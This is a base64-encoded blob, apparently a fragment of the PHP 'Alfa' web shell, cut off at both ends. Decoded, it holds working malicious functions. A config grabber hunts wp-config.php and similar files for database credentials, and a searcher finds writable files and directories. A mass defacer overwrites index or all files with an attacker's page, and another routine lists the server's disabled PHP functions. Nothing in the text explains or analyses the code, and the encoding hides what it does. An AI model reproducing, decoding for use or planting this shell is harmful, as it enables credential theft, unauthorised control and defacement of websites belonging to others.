ZpbGUuJyIgYXJjaGl2ZV9uYW1lPSInLmJhc2VuYW1lKCRmaWxlKS4nIiBpZD0iYXJjaGl2ZV9kaXJfJy4kcmFuZF9pZC4nIiBjbGFzcz0iYXJjaGl2ZV9kaXJfaG9sZGVyIj48c3Bhbj5QV0Q6IDwvc3Bhbj48ZGl2IGNsYXNzPSJhcmNoaXZlX3B3ZF9ob2xkZXIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jayI+PGE+LzwvYT48L2Rpdj48L2Rpdj4nOwoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsKCQlfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyYW5kX2lkKTsKCQllY2hvICc8L2Rpdj4nOwoJfQoJZWNobyAnPC9kaXY+JzsKCWFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGFyY2gsICRiYXNlX2lkPTApewoJdHJ5ewoJCSRmaWxlcyA9IGFycmF5KCk7CgkJJGRpcnMgPSBhcnJheSgpOwoJCSRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgewoJCQkgJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSkpOwoJCSAgICAgaWYoJGZpbGUtPmlzRGlyKCkpIHsKCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKCQkgICAgIH1lbHNlewoJCQkJICRmaWxlX3NpemUgPSBAZmlsZXNpemUoJGZpbGUtPmdldFBhdGhuYW1lKCkpOwoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsKCQkJIH0KCQkgfQoJCSBmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CgkJCSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CgkJIH0KCQkgdXNvcnQoJGRpcnMsICJfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7CgkJIHVzb3J0KCRmaWxlcywgIl9fYWxmYV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKCQkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7CgkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CgkJIGVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgZm5hbWU9Ii4uIiBvbmNsaWNrPSJhbGZhT3BlbkFyY2hpdmUodGhpcyk7IiBwYXRoPSInLmRpcm5hbWUoJGFyY2guJy5waHAnKS4nIj4nLiRpY29uLic8c3BhbiBjbGFzcz0iYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1kaXIiPnwgLi4gfDwvc3Bhbj48L2E+PHRkPmRpcjwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPic7CgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbigkZmlsZVsnbmFtZSddLCRmaWxlWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzsKCQkJIGlmKCRmaWxlWyJ0eXBlIl0gPT0gImRpciIpewoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgb25jbGljaz0iYWxmYU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwoJCSAJfWVsc2V7CgkJCQllY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2VfaWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5hbGZhU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvdHI+IjsKCgkJCX0KCQkgfQoJCSAgZWNobyAnPC90YWJsZT4nOwoJfWNhdGNoKEV4Y2VwdGlvbiAkZSl7CgkJZWNobygiMCIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFvcGVuX2FyY2hpdmVfZGlyKCl7CgkkZGlyID0gJF9QT1NUWyJhbGZhMSJdOwoJJGJhc2VfaWQgPSAkX1BPU1RbImFsZmEyIl07CglfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGRpciwgJGJhc2VfaWQpOwp9CmZ1bmN0aW9uIGFsZmFjb25maWdfZ3JhYmJlcigpewoJYWxmYWhlYWQoKTsKCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOwoJZWNobyAnPGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdjb25maWdfZ3JhYmJlclwnLG51bGwsbnVsbCx0aGlzLmRpci52YWx1ZSx0aGlzLmV4dC52YWx1ZSxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CglFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CgkkZGlyID0gJF9QT1NUWydhbGZhMiddOwoJJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKCWlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7CgkJZWNobyBfX3ByZSgpOwoJCUFsZmFfQ29uZmlnR3JhYmJlcigkZGlyLCAkZXh0KTsKCX0KCWVjaG8gJzwvZGl2Pic7CglhbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsKCSRwYXR0ZXJuID0gIiNkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUKD86J3xcIilbIF17MCx9fGRlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX0hPU1ROQU1FKD86J3xcIilbIF17MCx9fGNvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXXwoPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpfCg/Oid8XCIpKG15c3FsfGRhdGFiYXNlKSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfWFycmF5fGRiX25hbWV8ZGJfdXNlcnxkYl9wYXNzfGRiX3NlcnZlcnxkYl9ob3N0fGRiaG9zdHxkYm5hbWV8ZGJ1c2VyfGRicGFzc3xkYXRhYmFzZV9uYW1lfGRhdGFiYXNlX3VzZXJ8ZGF0YWJhc2VfcGFzc3xteXNxbF91c2VyfG15c3FsX3Bhc3N8bXlzcWxpX2Nvbm5lY3R8bXlzcWxfY29ubmVjdHxuZXdbIF17MCx9bXlzcWxpI2kiOwoJJGRiX2ZpbGVzID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiLCAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CgkJJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwoJCSRnbG9iRGlycyAgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsKCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewoJCQlpZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CgkJCUBBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7CgkJfQoJCWZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewoJCQkkZmlsZWUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZmlsZWUpKXsKCQkJCWVjaG8gIjxkaXY+PHNwYW4+JGZpbGU8L3NwYW4+IDxhIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGUuIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCI+WyBWaWV3IGZpbGUgXTwvYT48L2Rpdj4iOwoJCQl9CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFzZWFyY2hlcigpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSdmaWxlJyl7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyAgfDwvZGl2Pjxicj48YnI+PGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcsdGhpcy5maWxlbmFtZS52YWx1ZSx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Ck1ldGhvZDogPHNlbGVjdCBzdHlsZT0id2lkdGg6IDE4JTsiIG9uY2xpY2s9ImFsZmFfc2VhcmNoZXJfdG9vbCh0aGlzLnZhbHVlKTsiIG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iZmlsZXMiPkZpbmQgQWxsIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlycyI+RmluZCBBbGwgV3JpdGFibGUgRGlyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFsbCI+RmluZCBBbGwgUmVhZGFibGUgQW5kIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciPgpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsKJGRpciA9ICRfUE9TVFsnYWxmYTInXTsKJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZihzdWJzdHIoJGRpciwtMSk9PScvJykkZGlyPXN1YnN0cigkZGlyLDAsLTEpOwpBbGZhX1NlYXJjaGVyKCRkaXIsdHJpbSgkZXh0KSwkbWV0aG9kKTsKfQp9CmlmKCRfUE9TVFsnYWxmYTEnXT09J3N0cicpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmEyJ107CiRzdHJpbmcgPSAkX1BPU1RbJ2FsZmEzJ107CiRleHQgPSAkX1BPU1RbJ2FsZmE1J107CmlmKCFlbXB0eSgkc3RyaW5nKSBBTkQgIWVtcHR5KCRkaXIpIEFORCAkX1BPU1RbJ2FsZmE0J10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOwp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDUsNiw3LDgsOSwxMCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gJzxkaXYgY2xhc3M9InR4dGZvbnQiPkRlZmFjZSBNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJpbmRleCI+RGVmYWNlIEluZGV4IERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgoJTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4KPC9mb3JtPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmExJ107CiRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOwokbWV0aG9kID0gJF9QT1NUWydhbGZhMyddOwokZkN1cnJlbnQgPSAkR0xPQkFMU1snX19maWxlX3BhdGgnXTsKaWYoJF9QT1NUWydhbGZhNCddID09ICc+PicpewppZighZW1wdHkoJGRpcikpewppZihAaXNfZGlyKCRkaXIpKXsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKaWYoQGlzX2ZpbGUoJGRlZnBhZ2UpKXsKaWYoJGRoID0gQG9wZW5kaXIoJGRpcikpewplY2hvIF9fcHJlKCk7CndoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4kZmlsZTsKaWYoJGZDdXJyZW50ID09ICRuZXdmaWxlKWNvbnRpbnVlOwppZihAaXNfZGlyKCRuZXdmaWxlKSl7CkFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKfWVsc2V7CmlmKCFAaXNfd3JpdGFibGUoJG5ld2ZpbGUpKWNvbnRpbnVlOwppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKQWxmYV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkVycm9yIEluIE9wZW5EaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXJlY3RvcnkgaXMgbm90IFJlYWRhYmxlLi4uPC9mb250PicpO30KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+TWFzcyBEaXIgaXMgSW52YWxpZCBEaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBBbGZhX1JlYWREaXIoJGRpciwkbWV0aG9kPScnLCRkZWZwYWdlPScnKXsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwppZiAoQGlzX2RpcigkZGlyKSkgewppZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsKd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4nLycuJGZpbGU7CmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKaWYoQGlzX2ZpbGUoJG5ld2ZpbGUpKXsKaWYoIUBpc19yZWFkYWJsZSgkbmV3ZmlsZSkpY29udGludWU7CkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7Cn0KfQpjbG9zZWRpcigkZGgpOwp9Cn0KfQpmdW5jdGlvbiBBbGZhX1Jld3JpdGVyKCRkaXIsJGZpbGUsJGRlZnBhZ2UsJG09J2luZGV4Jyl7CmlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwokZGVmcGFnZT1AZmlsZV9nZXRfY29udGVudHMoJGRlZnBhZ2UpOwppZigkbSA9PSAnaW5kZXgnKXsKJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsKaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksJGluZGV4cykpewpAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7CmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9ZWxzZWlmKCRtPT0nYWxsJyl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiIgIDxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I+PC9mb250Pjxicj4iIDogJyc7Cn0KfQpmdW5jdGlvbiBhbGZhR2V0RGlzRnVuYygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJGYgPSBhcnJheV91bmlxdWUoJHMpOwplY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOwokaT0xOwpmb3JlYWNoKCRmIGFzICRzKXsKJHM9dHJpbSgkcyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkcyl8fCFpc19jYWxsYWJsZSgkcykpY29udGludWU7CmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOwplY2hvICc8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uJy5zdHJfcmVwbGFjZSgnXycsJy0nLCRzKS4nLnBocCI+PHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj48Yj4nLiRzLic8L2I+PC9zcGFuPjwvYT48L3RkPic7CiRpKys7Cn0KZWNobyAnPC90YWJsZT48L2NlbnRlcj4nOwplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9DcmVhdGVfQV9UYWcoJGFjdGlvbiwkdmFscyl7CiRudWxscyA9IGFycmF5KCk7CmZvcmVhY2goJHZhbHMgYXMgJGtleSA9PiAkdmFsKXsKZWNobyAnPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJycuJGFjdGlvbi4nXCcsJzsKZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOwokZiA9IGltcGxvZGUoJywnLCRudWxscyk7CmVjaG8gJGYuJyxcJycuJHZhbFswXS4nXCcpO3JldHVybiBmYWxzZTsiPnwgJy4ka2V5LicgfCA8L2E+JzsKdW5zZXQoJG51bGxzKTsKfQp9CmZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZigkbWV0aG9kID09ICdhbGwnKSRleHQgPSAnKic7CmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7CiRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsKJGdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOwokYmxhY2tsaXN0ID0gYXJyYXkoKTsKZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKXx8QGlzX2xpbms